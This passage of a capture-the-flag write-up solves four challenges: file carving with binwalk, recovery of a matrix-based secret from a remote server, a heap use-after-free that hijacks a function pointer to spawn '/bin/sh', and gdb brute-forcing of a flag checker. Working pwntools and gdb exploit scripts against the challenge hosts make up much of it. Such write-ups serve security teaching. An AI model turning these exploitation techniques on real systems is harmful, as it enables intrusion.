DGGZEV9ZADB1BGRFYJNFMW5FDGGZX2WWZZV9
```
`binwalk` on secret_flag.png yields a docx file.
```bash
binwalk -e secret_flag.png
```
Its contents:
```
Dear Hacker,
You have stumbled upon my own private diary. This is all classefied information. Here we go:
[Monday, 30 February]
Today I created a few more challenges for the qualifiers. I have two great ideas for their flags: the first one will be ICTF{redacted_redacted_redacted} and the second one would be ICTF{ redacted_redacted_redacted redacted_redacted_redacted}.
The approach is quite similar for both. In order to get the flags you have to redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redthe_flag is_ictf{h4v3_y0u_s33n_my_fil35_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redactso_you_thought_this_is_easy?_redacted_redacted_redacted_redacted redacted_redacted_there_is_nothing_else_here_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted
redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted.
Best,
iamroot
```
It contains the first part of the flag: `ictf{h4v3_y0u_s33n_my_fil35_`
The second part of the flag lies in the `DGGZEV9ZADB1BGRFYJNFMW5FDGGZX2WWZZV9` string.
A few hours into the CTF, a hint was dropped: `LULLLU-`
We realized it means: Lowercase, Uppercase, ...
Then the string could be decoded as base64.
By brute-forcing the case step by step, we eventually discover the flag.
`th3y_sh0uld_b3_1n_th3_l0g5}`
Entire flag: `ICTF{h4v3_y0u_s33n_my_fil35_th3y_sh0uld_b3_1n_th3_l0g5}`
---
## Sigma Grindset
All operations are performed in $F = \text{GF}(227)$. Matrixes live in $\mathcal{M}_{6,6}(F)$.
We can send an arbitrary invertible matrix $C$. The server sends back $M := R + SC$, where $R$ is a random unknown matrix and $S$ is the secret matrix that contains the flag.
We also know of a constant public vector $g \in F^6$ and the server sends the value of $Rg$.
Therefore, we have $Mg - Rg = SCg$, which is $\alpha^{(j)} = S \beta^{(j)}$ with $\alpha = Mg - Rg$ and $\beta = Cg$ which we can compute.
If we just send random invertible matrixes and get enough of these equations, we can construct a dimension-36 system that will give us back $S$.
Exploit:
```python=
from sage.matrix.constructor import random_unimodular_matrix
from pwn import *
import linalg
P = 227
F = GF(P)
big_matrix = []
big_col = []
j = 0
while len(big_matrix) < 36:
while not (input_matrix := random_unimodular_matrix(MatrixSpace(F, 6))).is_invertible():
continue
r = remote("kaeos.net", 7070)
msg1 = b"Proving that I know the matrix which turns: "
msg2 = b" into: "
data = r.recvline(False)
g = linalg.make_vector(eval(data[len(msg1) : data.find(msg2)]), P)
pubKey = linalg.make_vector(eval(data[data.find(msg2) + len(msg2) :]), P)
msg3 = b"My commitment is: "
data = r.recvline(False)
Rg = linalg.make_vector(eval(data[len(msg3) :]), P)
msg4 = b"Enter your 6x6 challenge matrix:\n> "
r.recvuntil(msg4)
r.send(linalg.Matrix([[int(input_matrix[i][j]) for j in range(6)] for i in range(6)], P).encode())
r.recvline() # My challenge response is...
data = r.recvline(False)
R_SC = linalg.Matrix([[0] * 6 for _ in range(6)], P)
R_SC.decode(data)
print("g", g)
print("pubKey", pubKey)
print("Rg", Rg)
print("R_SC", R_SC)
g = vector(F, [_[0] for _ in g.rows])
pubKey = vector(F, [_[0] for _ in pubKey.rows])
Rg = vector(F, [_[0] for _ in Rg.rows])
R_SC = Matrix(F, R_SC.rows)
alpha = R_SC * g - Rg
beta = input_matrix * g
for i in range(6):
big_matrix_row = []
big_matrix_row += [0] * (6 * i)
big_matrix_row += beta[:]
while len(big_matrix_row) < 36:
big_matrix_row.append(0)
big_matrix.append(big_matrix_row)
for alpha_i in alpha:
big_col.append(alpha_i)
r.close()
big_matrix = Matrix(F, big_matrix)
big_col = vector(F, big_col)
sol = big_matrix.solve_right(big_col)
for mask in range(P):
sol_ = [int((u + mask) % P) for u in sol]
print(mask, bytes(sol_))
"""
ICTF{sChn0rr_m1miMi_$cHnoRR_miM1Mi!}
"""
```
---
## ShellBank
### Reversing
The program creates the following structures on the heap:
```c
struct transaction
{
char *reference;
uint64_t transaction_amount;
void *null;
void *sender_account;
transaction *next_trans;
};
```
```c
struct account
{
void *remove_transaction;
void *add_transaction;
uint64_t id;
transaction *transactions;
char name[40];
};
```
### Vulnerability
There is a use after free if we:
- Create two accounts
- Create a transaction between the two accounts
- Delete one of the accounts
- Refund the transaction
The `account->remove_transaction` field of the freed account will be called.
### Exploit
By creating a new transaction before the refund, we control the function pointer that gets called.
We can point it to the `debug` function which just calls `system("/bin/sh")`.
```python
from pwn import *
r = remote("192.168.125.100", 9101)
def create_account(name):
r.recvuntil(b">")
r.sendline(b"3")
r.recvuntil(b"Enter account name:")
r.sendline(name)
def record_payment(reference, value, id_recp, id_sender):
r.recvuntil(b">")
r.sendline(b"4")
r.recvuntil(b"Enter reference:")
r.sendline(reference)
r.recvuntil(b"Enter value:")
r.sendline(str(value))
r.recvuntil(b"Enter id of recipient:")
r.sendline(str(id_recp))
r.recvuntil(b"Enter id of sender:")
r.sendline(str(id_sender))
def delete_account(idx):
r.recvuntil(b">")
r.sendline(b"6")
r.recvuntil(b"Enter account id:")
r.sendline(str(idx))
def refund_transaction(transaction_id, account_id):
r.recvuntil(b">")
r.sendline(b"5")
r.recvuntil(b"Enter transaction id:")
r.sendline(str(transaction_id))
r.recvuntil(b"Enter id of either account:")
r.sendline(str(account_id))
create_account(b"Account_1")
create_account(b"Account_2")
record_payment(b"Reference", 1, 0, 1)
delete_account(0)
record_payment(p64(0x4017C9), 1, 1, 1)
refund_transaction(0, 1)
r.interactive()
```
Flag: `ICTF{d0N't_uS3_Th4t?_D0n't_TeLL_M3_whAT_2_d0!}`
---
## Flag Locker
Flag is 38 characters. The flag is checked in chunks of 2 bytes. This allows us to bruteforce two bytes at a time.
```python
import gdb
CHAR_SUCCESS = 0x40132A
CHAR_FAIL = 0x40132E
gdb.execute("b*0x40132A") #Success for a given character
gdb.execute("b*0x40132E")
flag = b"ICTF"
def brute(current_flag):
for x in range(125,32,-1):
for y in range(125,32,-1):
test = current_flag + x.to_bytes(1, byteorder="little") + y.to_bytes(1, byteorder="little")
print(test)
with open("current_test.txt", "wb") as fd:
fd.write(test)
success_hits = i
gdb.execute("ignore 1 "+str(i))
gdb.execute("ignore 2 "+str(i))
gdb.execute("run < current_test.txt")
rip = int(gdb.parse_and_eval("$rip"))
print(hex(rip))
if rip == CHAR_SUCCESS:
current_flag = test
return current_flag
if rip == CHAR_FAIL: #added for clarity
continue
for i in range(2, 20):
flag = brute(flag)
print("".join(flag))
```
4 hours later:
`ICTF{thttS_n`
`ICTF{thttS_n0T_mY_`
`ICTF{thttS_n0T_mY_SsGmeNtAtq`
`ICTF{thttS_n0T_mY_SsGmeNtAtq0N_f4uLT!}`
`ICTF{th4tS_n0T_mY_S3GmeNtAt10N_f4uLT!}`